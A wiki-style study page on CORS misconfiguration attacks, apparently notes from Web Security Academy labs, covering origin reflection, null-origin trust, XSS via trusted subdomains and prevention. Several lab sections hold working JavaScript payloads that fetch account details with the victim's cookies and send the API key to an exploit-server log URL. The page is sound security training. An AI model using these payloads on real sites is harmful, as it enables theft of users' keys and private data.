Cross-origin Resource Sharing (CORS)

Add new Edit Delete History Source

Contents:

Cross-origin Resource Sharing (CORS)

What is it?

Cross-origin resource sharing (CORS) is a browser mechanism which enables controlled access to resources located outside of a given domain. It extends and adds flexibility to the same-origin policy (SOP). However, it also provides potential for cross-domain attacks, if a website’s CORS policy is poorly configured and implemented. CORS is not a protection against cross-origin attacks such as cross-site request forgery (CSRF).

🧵 Chain of Exploitation

Victim logs into vulnerable-website.com (session cookie is set).
Victim visits malicious-website.com.
Malicious JS sends a cross-origin request to vulnerable-website.com with credentials.
Server wrongly trusts and responds with sensitive data.
Browser gives malicious script full access to the response. (this is the treasure)
Attacker steals API keys, PII, emails, anything in that response.

Same-origin Policy

The same-origin policy is a restrictive cross-origin specification that limits the ability for a website to interact with resources outside of the source domain. The same-origin policy was defined many years ago in response to potentially malicious cross-domain interactions, such as one website stealing private data from another. It generally allows a domain to issue requests to other domains, but not to access the responses.

Relaxation of the same-origin policy

The same-origin policy is very restrictive and consequently various approaches have been devised to circumvent the constraints. Many websites interact with subdomains or third-party sites in a way that requires full cross-origin access. A controlled relaxation of the same-origin policy is possible using cross-origin resource sharing (CORS).
The cross-origin resource sharing protocol uses a suite of HTTP headers that define trusted web origins and associated properties such as whether authenticated access is permitted. These are combined in a header exchange between a browser and the cross-origin web site that it is trying to access.

Vulnerabilities Arising from CORS Configuration Issues

Many modern websites use CORS to allow access from subdomains and trusted third parties. Their implementation of CORS may contain mistakes or be overly lenient to ensure that everything works, and this can result in exploitable vulnerabilities.

CORS vulnerability with basic origin reflection

The website has an insecure CORS configuration in that it trusts all origins.

We observe that your key is retrieved via an AJAX request to /accountDetails.
The response contains the Access-Control-Allow-Credentials header suggesting that it may support CORS.
Our origin is reflected in the Access-Control-Allow-Origin response header.
We can craft an exploit to fetch the Admins API key:

<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','https://0a9900400476476fda900f0200a500b8.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();

    function reqListener() {
        location='/log?key='+this.responseText;
    };
</script>

Errors parsing Origin headers

Some applications that support access from multiple origins do so by using a whitelist of allowed origins. When a CORS request is received, the supplied origin is compared to the whitelist. If the origin appears on the whitelist then it is reflected in the Access-Control-Allow-Origin header so that access is granted.

Some organizations decide to allow access from all their subdomains (including future subdomains not yet in existence). And some applications allow access from various other organizations’ domains including their subdomains. These rules are often implemented by matching URL prefixes or suffixes, or using regular expressions. Any mistakes in the implementation can lead to access being granted to unintended external domains.

For example, suppose an application grants access to all domains ending in:

normal-website.com An attacker might be able to gain access by registering the domain:
hackersnormal-website.com Alternatively, suppose an application grants access to all domains beginning with
normal-website.com An attacker might be able to gain access using the domain:
normal-website.com.evil-user.net

CORS vulnerability with trusted null origin

The specification for the Origin header supports the value null. Browsers might send the value null in the Origin header in various unusual situations:

Cross-origin redirects.
Requests from serialized data.
Request using the file: protocol.
Sandboxed cross-origin requests.

LAB: Same scenario as the last lab, except this time a “null” value gets reflected in the ACAO header.

We can exploit this using an iframe sandbox as it generates a null origin request.

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','https://0ad30088037de33f801412ca005100a3.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();
    function reqListener() {
        location='https://exploit-0afb00820334e33d80a711ba011e0060.exploit-server.net/log?key='+encodeURIComponent(this.responseText);
    };
</script>"></iframe>

Exploiting XSS via CORS trust relationships

Even “correctly” configured CORS establishes a trust relationship between two origins. If a website trusts an origin that is vulnerable to cross-site scripting (XSS), then an attacker could exploit the XSS to inject some JavaScript that uses CORS to retrieve sensitive information from the site that trusts the vulnerable application.

Given the following request:

GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: https://subdomain.vulnerable-website.com
Cookie: sessionid=...
If the server responds with:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true

Then an attacker who finds an XSS vulnerability on subdomain.vulnerable-website.com could use that to retrieve the API key, using a URL like:

https://subdomain.vulnerable-website.com/?xss=<script>cors-stuff-here</script>

CORS vulnerability with trusted insecure protocols

Suppose an application that rigorously employs HTTPS also whitelists a trusted subdomain that is using plain HTTP. For example, when the application receives the following request:

GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: http://trusted-subdomain.vulnerable-website.com
Cookie: sessionid=...

The application responds with:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true

THE LAB

We find the CORS configuration allows access from subdomains regardless of the protocol.
We find a reflected XSS vulnerability in the subdomain. We can use this to exploit the CORS configuration.

<script>
document.location="http://stock.0a11000203a9108782cb33320010007f.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0a11000203a9108782cb33320010007f.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://exploit-0a34002e0373100d826e32e801cf00d8.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>

Intranets and CORS without credentials

Most CORS attacks rely on the presence of the response header: Access-Control-Allow-Credentials: true Without that header, the victim user’s browser will refuse to send their cookies, meaning the attacker will only gain access to unauthenticated content, which they could just as easily access by browsing directly to the target website.

However, there is one common situation where an attacker can’t access a website directly: when it’s part of an organization’s intranet, and located within private IP address space. Internal websites are often held to a lower security standard than external sites, enabling attackers to find vulnerabilities and gain further access. For example, a cross-origin request within a private network may be as follows:

GET /reader?url=doc1.pdf
Host: intranet.normal-website.com
Origin: https://normal-website.com
And the server responds with:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *

How to prevent CORS-based attacks

CORS vulnerabilities arise primarily as misconfigurations. Prevention is therefore a configuration problem. The following sections describe some effective defenses against CORS attacks.

If a web resource contains sensitive information, the origin should be properly specified in the Access-Control-Allow-Origin header.
It may seem obvious but origins specified in the Access-Control-Allow-Origin header should only be sites that are trusted. In particular, dynamically reflecting origins from cross-origin requests without validation is readily exploitable and should be avoided.
Avoid whitelisting null
Avoid using wildcards in internal networks. Trusting network configuration alone to protect internal resources is not sufficient when internal browsers can access untrusted external domains.
CORS defines browser behaviors and is never a replacement for server-side protection of sensitive data - an attacker can directly forge a request from any trusted origin. Therefore, web servers should continue to apply protections over sensitive data, such as authentication and session management, in addition to properly configured CORS.